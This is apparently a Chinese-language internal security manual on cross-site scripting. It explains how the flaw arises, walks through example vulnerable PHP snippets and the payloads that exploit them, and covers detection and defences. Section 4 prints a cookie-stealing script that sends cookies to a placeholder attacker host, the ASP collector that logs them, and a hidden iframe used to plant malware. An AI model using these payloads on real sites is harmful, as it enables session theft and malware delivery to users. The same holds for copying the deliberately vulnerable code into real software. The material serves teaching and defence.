1 前言
近年來，隨着Web2.0的大潮，越來越多的人開始關注Web安全，新的Web攻擊手法層出不窮，Web應用程序面臨的安全形勢日益嚴峻。
跨站腳本攻擊（XSS）就是常見的Web攻擊技術之一，由於跨站腳本漏洞易於出現且利用成本低，所以被OWASP開放式Web應用程序安全項目（OWASP，Open Web Application Security Project）列為當前的頭號Web安全威脅。
本文將從跨站腳本漏洞的產生原理、攻擊手法、檢測方法和防御手段四個方面出發，全面的介紹跨站腳本漏洞的方方面面，為開發人員、安全測試人員以及對Web安全感興趣的同學提供一份跨站腳本漏洞的技術參考手冊。
2 跨站腳本漏洞介紹
2.1 什么是跨站腳本漏洞
跨站腳本漏洞（Cross Site Scripting，常簡寫作XSS）是Web應用程序在將數據輸出到網頁的時候存在問題，導致攻擊者可以將構造的惡意數據顯示在頁面的漏洞。因為跨站腳本攻擊都是向網頁內容中寫入一段惡意的腳本或者HTML代碼，故跨站腳本漏洞也被叫做HTML注入漏洞（HTML Injection）。
與SQL注入攻擊數據庫服務器的方式不同，跨站腳本漏洞是在客戶端發動造成攻擊，也就是說，利用跨站腳本漏洞注入的惡意代碼是在用戶電腦上的瀏覽器中運行的。
2.2 跨站腳本漏洞的危害
跨站腳本攻擊注入的惡意代碼運行在瀏覽器中，所以對用戶的危害是巨大的——也需要看特定的場景：跨站腳本漏洞存在於一個無人訪問的小站幾乎毫無價值，但對於擁有大量用戶的站點來說卻是致命的。
最典型的場景是，黑客可以利用跨站腳本漏洞盜取用戶Cookie而得到用戶在該站點的身份權限。據筆者所知，網上就有地下黑客通過出售未公開的GMail、雅虎郵箱及hotmail的跨站腳本漏洞牟利。
由於惡意代碼會注入到瀏覽器中執行，所以跨站腳本漏洞還有一個較為嚴重的安全威脅是被黑客用來制造欺詐頁面實現釣魚攻擊。這種攻擊方式直接利用目標網站的漏洞，比直接做一個假冒網站更具欺騙性。
另外，控制了用戶的瀏覽器，黑客還可以獲取用戶計算機信息、截獲用戶鍵盤輸入、刺探用戶所處局域網信息甚至對其他網站進行GET Flood攻擊。目前互聯網已經有此類利用跨站腳本漏洞控制用戶瀏覽器的黑客工具出現。
當然，雖然跨站腳本攻擊是在客戶端瀏覽器進行，但是最終也是可以攻擊服務器的。筆者就曾在安全測試過程中就利用某Blog程序的跨站腳本漏洞得到網站管理員身份並最終控制Web服務器。
2.3 跨站腳本漏洞的產生
跨站腳本漏洞是如何產生的呢？
大部分Web漏洞都源於沒有處理好用戶的輸入，跨站腳本也不例外。
請看以下一段PHP代碼：
<?PHP
echo "歡迎您，".$_GET['name'];
?>
稍微解釋一下，這段PHP代碼的意思是在頁面輸出字符串“歡迎您，”和URL中name參數的值，比如用瀏覽器訪問這個文件：http://localhost/test23.php?name=lakehu，頁面上就會出現“歡迎您，lakehu”字樣。其中lakehu是我們通過URL中的參數name傳入的，name的值就是用戶的輸入。
我們知道，瀏覽器對網頁的展現是通過解析HTML代碼實現的，如果我們傳入的參數含有HTML代碼呢？對，瀏覽器會解析它而不是原封不動的展示——這個就與Web應用程序的設計初衷相反吧。
這樣通過參數訪問剛才的PHP頁面：http://localhost/test23.php?name=lake<s>hu</s>，你將看到HTML標記被瀏覽器解釋了：
變本加厲的，如果傳入一段腳本<script>[code]</script>，那么腳本也會執行。用這樣的URL將會執行JavaScript的alert函數彈出一個對話框：http://localhost/test.php?name=lake<script>alert(123456)</script>
通過上面簡單的示例我們已經知道，Web應用程序在處理用戶輸入的時候沒有處理好傳入的數據格式就會導致腳本在瀏覽器中執行，這就是跨站腳本漏洞的根源。
2.4 跨站腳本漏洞的分類
2.4.1 非持久型XSS
非持久型XSS（Non-persistent）又叫做反射XSS（Reflect XSS），它是指那些瀏覽器每次都要在參數中提交惡意數據才能觸發的跨站腳本漏洞。
前一節演示的XSS漏洞屬於這種類型，因為每次我們都是需要向參數name中提交惡意數據來實現跨站腳本攻擊。
一般來說，凡是通過URL傳入惡意數據的都是非持久型XSS。當然，也有通過表單POST的XSS例子：
<?PHP
echo "歡迎您，".$_POST['name'];
?>
Web應用程序獲取的參數name已經由GET變為POST了，要觸發這個XSS漏洞就要稍微復雜一點，我們需要寫一個網頁：
<form action="http://localhost/test.php" method="post">
<input name="name" value="<script>alert(123456)</script>" type="hidden" />
<input name="ss" type="submit" value="XSS提交測試" />
</form>
點擊“XSS提交測試”按鈕，你就又會看到瀏覽器彈出了可愛的對話框?
2.4.2 持久型XSS
持久型XSS（Persistent）又叫做存儲XSS（Stored XSS），與非持久型XSS相反，它是指通過提交惡意數據到存儲器（比如數據庫、文本文件等），Web應用程序輸出的時候是從存儲器中讀出惡意數據輸出到頁面的一類跨站腳本漏洞。
看個例子。
下圖是某BBS程序沒有處理發帖正文中的惡意代碼就直接存儲到數據庫中：
然后讀帖子的時候程序從數據庫中讀出數據，結果數據中含有的惡意代碼在瀏覽器執行了（此處僅演示彈出對話框）：
這個漏洞是由於程序會把UBB代碼[IMG]javascript:alert('XSS')[/IMG]轉換成HTML代碼：
<img src="javascript:alert('XSS')" /> IE6會解析上面的HTML代碼並執行img標簽src屬性中的JavaScript代碼，導致XSS的發生。
持久型XSS多出現在Web郵箱、BBS、社區等從數據庫讀出數據的正常頁面（比如BBS的某篇帖子中可能就含有惡意代碼），由於不需要瀏覽器提交攻擊參數，所以其危害往往大於非持久型XSS。
2.5 跨站腳本漏洞的出現場景
根據數據輸出的不同，跨站腳本漏洞一般會出現在以下4個地方，了解了漏洞出現的場景，對我們認識和修復漏洞是有積極意義的。
2.5.1 輸出在HTML頁面
前面2.3節的PHP代碼就是把數據輸出到HTML頁面的例子。這種情況比較簡單，就是把傳入的參數值直接顯示在頁面，主要就是傳入的參數中帶有“<”和“>”符號會被瀏覽器解析。
2.5.2 輸出在HTML屬性中
看這樣一段代碼：
<?PHP
echo "<a href=\"".$_GET['name']."\">Enter</a>";
?>
這段PHP代碼的意思就是把得到的name參數輸出到一段HTML標記的A標簽中，假設name的值是test，那么你將得到這樣的頁面：
<a href="test">Enter</a>
這時我們再武斷地給name附上“test<script>alert(123456)</script>”是不會造成XSS攻擊的，因為腳本會被瀏覽器認為是href的值，這時候需要稍微動點腦子才行：http://localhost/test2521.php?name=test">Hi</a><script>alert(123456)</script><!--
得到這樣的頁面：
<a href="test">Hi</a><script>alert(123456)</script><!—">Enter</a>
請注意，藍色字體為PHP程序輸出，而紅色字體是我們提交的參數。哈哈，我們提交的“">”和“</a>”閉合了原來的A標簽，然后跟上JavaScript代碼，之后的A標簽的后部分被<--注釋掉了。
以上就是傳入數據輸出到屬性中的情況，關鍵點是我們提交的數據能夠閉合屬性標簽。這個例子是雙引號，其實屬性也是可以用單引號甚至不用引號的（如果屬性的值中沒有空格的話就可以不需要引號），道理都是一樣的，只要閉合它們就可以了。
2.5.3 輸出在JavaScript代碼中
JavaScript和HTML結合緊密，所以有時候程序員們就會把參數輸出到JavaScript代碼中：
<?PHP
echo "<script>";
echo "var yourname = '".$_GET['name']."';";
echo "</script>";
?>
分析PHP代碼輸出的頁面，我們很容易構造出XSS攻擊測試URL：http://localhost/test2531.php?name=a';alert(123456);//
實際上是我們利用單引號閉合了JavaScript代碼的變量賦值，然后再執行我們的alert函數（因為PHP5在默認情況下是會自動對傳入的單引號轉義的，這里只是為了演示，所以我們認為此處單引號不被轉義。即假設PHP的magic_quote_gpc為Off）。
得到的返回頁面是這樣的：
<script>
var yourname = 'a';alert(123456);//';
</script> 然后你又看到那個顯示123456表示腳本被執行的演示對話框了。
同樣的道理，如果是用的雙引號做變量賦值就需要傳雙引號進去破壞掉原來的JavaScript代碼。
2.5.4 基於DOM
DOM是Document Object Model（文檔對象模型）的縮寫。據W3C DOM規范（http://www.w3.org/DOM/），DOM是一種與瀏覽器，平台，語言無關的接口，使得你可以訪問頁面其他的標准組件。
簡單理解，我們把DOM認為是JavaScript輸出的頁面，基於DOM的跨站腳本漏洞就是出現在JavaScript代碼中的漏洞。請注意，之前的3種輸出是屬於Web應用程序（CGI程序）代碼中的漏洞。
是的，你沒有看錯，含有JavaScript靜態HTML頁面也可能會存在XSS漏洞。
以下是一段存在DOM類型跨站腳本漏洞的代碼：
<script>
document.write(window.location.search);
</script>
在JS中window.location.search是指URL中?之后的內容，document.write是將內容輸出到頁面。於是乎，又是一個直接輸出到頁面的跨站腳本漏洞。好，來構造攻擊URL：http://localhost/test2541.php?<script>alert(123456)</script>
但是查看網頁源代碼，源代碼卻沒變：
這就是DOM，在瀏覽器的解析中改變頁面結構。這種特性檢測DOM的跨站腳本漏洞帶來了一點麻煩，因為它不能通過頁面源代碼來判斷漏洞，給自動化漏洞檢測帶來了挑戰。
3 跨站腳本漏洞檢測技術
3.1 黑盒測試
黑盒測試是指在不知道源代碼的情況下通過各種技術手段對Web應用程序進行的探測，這個就是從黑客的視角去發現問題。
3.1.1 測試原理
測試跨站腳本漏洞的原理很簡單，就是我們嘗試提交可能有問題的數據，然后分析返回頁面。
一般是修改參數值為一個標志字符串，然后搜索頁面是否含有該字符串。如果有，說明頁面會把參數輸出。接着就是分析返回頁面構造攻擊參數，前面2.5提到了4種場景，根據不同的場景有不同的攻擊參數。
以2.3節中的代碼為例，要測試這個URL，我們就先提交http://localhost/test23.php?name=XSSTest，然后在返回的頁面中搜索到字符“XSSTest”，說明name參數的值是直接輸出到頁面的。接着我們分析頁面，發現name參數的值是直接輸出到頁面的，所以跟着提交一個含有HTML標記的字符串：http://localhost/test23.php?name=<b>XSS< /b>，返回頁面中仍然發現有“<b>XSS</b>”，而且頁面中的“<b>XSS</b>” 已經被瀏覽器解析，至此，可以判斷該URL存在跨站腳本漏洞。
對於DOM跨站腳本漏洞的測試，就不能搜索頁面源代碼是否含有傳入的標志字符串了，稍微復雜一點，可能需要閱讀JavaScript代碼、觀察頁面內容並查看頁面是否出現JavaScript代碼異常等行為。常見的出問題的代碼是eval、 document.write、document.writeln、window.exeScript、標簽的innerHTML屬性、標簽的src屬性。
3.1.2 常用測試用例
因為跨站腳本漏洞是在瀏覽器中執行的，而各個瀏覽器對HTML標簽及JavaScript解釋有所不同，所以攻擊代碼其實就根據瀏覽器的不同而不同。
比如下面的HTML在IE6下會執行JavaScript彈出對話框，但是在IE7及Firefox下就不會執行：
<img src="javascript:alert(123456)" />
而且就上面一段測試用例就還有很多種變形，以下是一小部分：
<img src="javasc
ript:alert(123456)" />
回車分割
<img src="jav ascript:alert(123456)" />
Tab分割
<IMG
SRC=javascript
:alert('123456')>
面對XSS漏洞的那么多用例和變形，是不是有些頭暈了？呵呵，好在有個叫Rsnake的老外按照瀏覽器分類及變形歸納了一份XSS測試手冊（XSS Cheat Sheet），你可以去他的網站找到它：http://ha.ckers.org/xss.html
如圖所示，XSS Cheat Sheet幾乎歸納了所有的XSS利用形式及支持的瀏覽器，實在是XSS研究的最佳資料。
3.1.3 測試自動化——使用Web漏洞掃描器
當我們熟練了之后，測試就是體力活了，而且URL數量很多的話人工也忙不過來，所以我們要把測試工作自動化。
這個時候可以使用Web漏洞掃描器來實現對跨站腳本漏洞的檢測，免費的軟件有ProxyStrike、Paros、WebScarab等，商業的掃描器有 AppScan、WebInspect等，這些都是比較自動化進行Web漏洞測試的工具，有興趣的同學可以google一把下載來試用。
當然，掃描器只是提高效率的工具，並不能完全代替手動測試，因為掃描器受到規則和技術的限制，可能會有誤報甚至漏報。比如BBS發帖這種交互性很強的地方掃描器很難對其進行測試——人工測試還是必不可少的。
3.2 白盒測試
白盒測試就是閱讀代碼找漏洞了，這種測試方案適合公司內部以及開源項目。這種基於代碼檢測的方案也叫做代碼審計（Code Audit）。
3.2.1 測試原理
簡單的說，就是根據相關語言定義一些可能導致跨站腳本漏洞的函數（一般為輸出函數），然后去找檢查這些函數的參數是否由外部傳入且未經過安全處理。
比如PHP，就是檢查echo、print函數的參數是否來自外部並且沒有經過防跨站處理就直接顯示到頁面；對ASP來說，就是response.write之類的輸出函數。
比如這樣的PHP代碼就有問題：
<?PHP
echo “歡迎您，”.$_GET[‘name’];
?>
這個時候就先定位echo函數，然后發現其輸出的值來自外部（$_GET[‘name’]）而且未作安全處理。
其他的語言也是一樣的道理。
3.2.2 測試自動化——使用代碼審計工具
還是使用工具來提高效率，針對不同的語言，有不同的代碼審計工具。比如微軟提供的檢查.Net代碼跨站腳本漏洞的工具XSS Detect Beta Code Analysis Tool（http://www.microsoft.com/downloads/details.aspx?FamilyID=19a9e348- bdb9-45b3-a1b7-44ccdcb7cfbe&DisplayLang=en）就很不錯。
這里主要是選擇支持你要測試的Web應用程序開發語言的代碼審計工具。
4 跨站腳本攻擊技術
4.1 如何發動攻擊
針對XSS漏洞的兩種不同類型，利用方式也是不一樣的。
4.1.1 非持久型XSS攻擊
非持久型XSS漏洞實際上大多數攻擊數據是包含在URL中的，類似這樣的：http://www.vicitim.com/vul.asp?hi=[code]。
需要用戶的瀏覽器訪問到這個URL惡意代碼才執行，攻擊者一般會把URL發給用戶讓用戶通過瀏覽器去訪問。不過URL里面帶有稀奇古怪的代碼確實有點奇怪，為了掩人耳目，攻擊者可以發一個看起來沒問題的URL，再通過那個頁面跳轉到惡意的URL；甚至也可以讓一個域名轉向到惡意URL，把那個域名發給用戶。
4.1.2 持久型XSS攻擊
持久型XSS攻擊就簡單一點，只要第一次把攻擊代碼提交到服務器就一勞永逸了。
比如我在某個論壇發帖的時候，論壇沒有對傳入的HTML作處理，那么我就可以發一個帖子內容包含“<script>[code]</script>”的帖子。呵呵，然后就守株待兔地等着來看帖子的人執行惡意腳本了。
持久型XSS漏洞是把惡意腳本存儲到了數據庫，訪問頁面的時候完全沒有預兆，所以它的危害也比非持久型XSS略微高一點。
4.2 常見攻擊手法
4.2.1 盜取Cookie
Cookie是Web程序識別不同的用戶的標識，如果得到某人的Cookie，黑客就可以以他的身份登陸網站了，所以跨站腳本攻擊的第一個目標就是拿到它。想一想，如果是Web郵箱有一個XSS漏洞，當你查看一封郵件的時候，你的身份標識已經被別人拿到，黑客就可以自由出入你的郵箱了。
在JavaScript中可以使用document.cookie來獲得當前瀏覽器的Cookie，所以我們一般是執行這樣的代碼來獲得Cookie並發送到某個地方記錄之：
<script>
document.write("<img src=http://www.hacker.com/getcookie.asp?c="+escape(document.cookie)+">");
</script> 這段代碼就是輸出img標簽並訪問黑客的Web服務器的一個ASP程序。注意，這里是把當前的Cookie作為參數發送出去了哦（為了避免出現特殊字符，這里使用了escape函數對Cookie進行URL編碼）。我們看看抓包的結果：
然后在www.hacker.com上的getcookie.asp需要記錄傳入的參數（就是受害用戶的Cookie啦），代碼是這樣的：
<%
if Request("c")<>"" then
Set fs = CreateObject("Scripting.FileSystemObject")
Set outfile=fs.OpenTextFile(server.mappath("a.txt"),8,True)
outfile.WriteLine Request("c")
outfile.close
Set fs = Nothing
end if
%>
一旦有cookie發過來，ASP程序就會把cookie寫入到當前目錄的a.txt文件中。
有了Cookie，黑客就可以找一個自定義Cookie的瀏覽器以用戶身份訪問Web了。
4.2.2 盜取Cookie升級版——保持會話
前面一節講的黑客可以記錄Cookie，是的，存儲型Cookie倒沒問題，但是如果是會話型Cookie（也就是Session）的話，過一段時間如果用戶不訪問頁面Session也就失效了。
為了解決Session時效性的問題，所以出現了實時記錄Cookie並不斷刷新頁面保持Session的程序——SessionKeeper：
這個工具的原理是得到用戶Cookie后會自動模擬瀏覽器提交請求不斷刷新頁面以維持Session的存在。
4.2.3 頁面劫持——掛馬和釣魚攻擊
當然，黑帽子黑客之所以是黑帽子的原因是經濟動力，所以跨站腳本攻擊也會被他們利用來為自己產生經濟效益。
掛馬和釣魚是兩個最好不過的生財之道了。
所謂掛馬就是在網頁中添加一些惡意代碼，這些代碼是利用了瀏覽器及ActiveX控件的漏洞進行攻擊的。如果你的機器上不幸存在這些漏洞，那你訪問到這個頁面的時候你就中木馬了。在掛馬行業，中你木馬的人越多，你的收益就越高。
在XSS的攻擊代碼中，需要用iframe或者script甚至彈出窗口引入含有網頁木馬的惡意代碼網頁/文件。類似的代碼（http://hacker是一個包含惡意代碼的頁面）：
<iframe width="0" height="0" src="http://hacker"></iframe>
釣魚攻擊（Phishing Attack）我想大家都看到過，就是經常在QQ、QQ游戲、空間等地方看到的中獎信息。利用XSS漏洞的釣魚更加隱蔽且更具欺騙性。
因為JavaScript腳本功能強大，我們可以利用它來更改整個頁面內容，所以我們就可以制造出利用真的目標域名的假頁面：
其實只是一個XSS引入JavaScript代碼修改了頁面元素而已：
原來的頁面：
4.2.4 XSS蠕蟲的故事
我們把那種感染能進行自我復制和傳播的病毒叫做蠕蟲病毒。當年攻擊機器無數、造成巨大破壞的的沖擊波、震盪波病毒就是蠕蟲病毒。這些傳統的蠕蟲病毒是依靠遠程緩沖區溢出進行傳播，在Web2.0時代，蠕蟲病毒可以利用跨站腳本漏洞進行傳播。
百度空間在07年聖誕就遭到過XSS蠕蟲的傳播。
當時百度空間自定義CSS的地方過濾不嚴導致出現一個持久型XSS漏洞。2007年12月25日晚，有黑客寫出了利用這個漏洞進行XSS攻擊並自我傳播的 JavaScript惡意代碼。感染該蠕蟲的空間將會在空間中存在惡意代碼並修改訪問該空間的其他百度空間用戶的CSS植入XSS攻擊代碼，還會向好友發送消息誘騙好友來訪問中毒的空間。截至26日晚7點百度空間找到原因並修復漏洞，有大於8000個用戶空間感染了蠕蟲代碼。
幸好百度空間及時發現蠕蟲並修復漏洞，隨着時間的增加，被感染的空間將以幾何級增長。由此可見，一旦在業務爆發XSS蠕蟲將給業務帶來巨大的損失。
5防御跨站腳本攻擊
5.1 編寫安全的代碼
經過第二章我們知道，跨站腳本漏洞是由於程序在輸出數據的時候沒有作好處理導致惡意數據被瀏覽器解析造成的。所以，對付XSS漏洞最好的辦法就是編寫安全的代碼。
5.1.1 安全的處理數據
第二章中提到跨站腳本漏洞出現的幾個場景，我們只要在輸出數據的時候處理按輸出的場景好數據就可以了。
直接輸出在頁面的數據需要對“<”、“>”HTML編碼：
< 編碼為 <
> 編碼為 >
輸出在HTML屬性中的數據不能讓屬性值被閉合。用雙引號（"）表示的屬性需要編碼屬性值中的雙引號：
" 編碼為"
用單引號（'）表示的屬性需要編碼屬性值中的單引號：
' 編碼為'
輸出到頁面JavaScript中的代碼也要注意編碼。這個要視具體情況而定，比如2.5.3中提到的PHP代碼：
<?PHP
echo "<script>";
echo "var yourname = '".$_GET['name']."';";
echo "</script>";
?>
實際上需要用單引號（'）閉合JavaScript代碼，這里就需要按照JavaScript的語法把單引號轉義：
' 轉義為 \'
這樣就無法通過傳入單引號來閉合代碼了。但是還是可以利用傳入“</script>”來閉合整個script標簽（在JavaScript語法中，</script>閉合標簽總是優先）：
<script>
var yourname = 'a</script><script>alert()//';
</script> 所以我們還編碼傳入的“<”和“>”。
前面還提到的IE6下img標簽的XSS漏洞：
<img src="javascript:alert(123456)" />
這里就要限制img標簽的src屬性始終以http://或https://開頭（白名單匹配）。
OK，我們總結一下，防御跨站腳本漏洞的安全編碼工作主要是編碼輸出在頁面中會破壞原有代碼（HTML、JavaScript甚至WML等）規則的特殊字符以及對某些標簽的某些屬性進行白名單檢查。
5.1.2 提高攻擊門檻
跨站腳本攻擊的主要目標之一是盜取Cookie，所以我們可以利用瀏覽器的安全特性來防御Cookie的盜取。注意一點，本節內容只是在存在XSS攻擊的情況下減小XSS攻擊的危害並提高攻擊門檻，並不能完全防止XSS攻擊——杜絕XSS攻擊的根源還是安全的編碼。
一般來說，公司的站點很多，單獨的業務就可以在子域下設置自己的cookie，而不需要別的子域使用你的cookie。比如show.qq.com的 cookie就不需要在其他域下使用。這樣的話，我們可以通過設置cookie的作用域來減少cookie的暴露面。在HTTP響應頭的Set- Cookie字段設置域限制：
Set-Cookie: a=123; domain=show.qq.com
這樣“a=123”就只有在show.qq.com下才能訪問了。
同理，甚至我們可以限制cookie在某一子域名某個目錄下存在，在別的目錄將無法訪問這個cookie：
Set-Cookie: a=123; path=/test
“a=123”就只有在當前網站下的test目錄才能訪問了。即使test2目錄出現XSS漏洞，攻擊者也拿不到“a=123”這個cookie。
另外，在設置Cookie的時候，可以附加一個HTTPOnly的屬性，這樣的話，當瀏覽器向Web服務器發起請求的時就會帶上cookie字段，但是在腳本中卻不能訪問這個cookie，這樣就避免了XSS攻擊利用JavaScript的document.cookie獲取cookie：
Set-Cookie: a=123; HTTPOnly;
以上的字段都可以在程序中設置的。
5.2 在客戶端防御
如果Web應用程序安全性好，就不存在XSS攻擊。但是這個畢竟對開發人員要求太高，目前來說大部分網站還不能做到避免XSS漏洞，所以有時候我們需要在客戶端進行防御（特別是在對安全要求特別高的情況）。
完全禁止JavaScript？這是個因噎廢食的辦法。不能因為互聯網上有病毒和黑客，我們就不上網了是不是。
在firefox下有一款插件叫做NoScript就是專用於防止XSS攻擊的；IE運氣沒有這么好，不過可以把安全級別設置為高，並使用白名單只允許在信任的站點運行腳本、flash和Java小程序。
6 安全中心的技術支持
廣告時間^_^
6.1 TCodeScan
TCodeScan是安全中心開發的代碼審計工具，目前支持對C、C++、PHP代碼的檢查。詳細介紹：http://soc.itil.com/tcodescan/index.html
6.2 CGI掃描器
CGI掃描器是安全中心開發的針對Web漏洞的黑盒測試工具。它能夠檢測包括跨站腳本漏洞、SQL注入漏洞、跳轉漏洞、info漏洞在內的常見Web漏洞。
同時，根據公司的《上線前安全檢查規范》，公司所有的CGI業務上線前都要通過CGI掃描器的檢查。
地址：http://soc.itil.com/inscan
6.3 CGI安全API
CGI安全API是安全中心為Web應用程序提供的一套Web漏洞解決方案，主要針對SQL注入漏洞和跨站腳本漏洞等常見漏洞。目前支持的語言包括C、C++、Java、JavaScript。
詳情請見：http://soc.itil.com/sec_api/index.html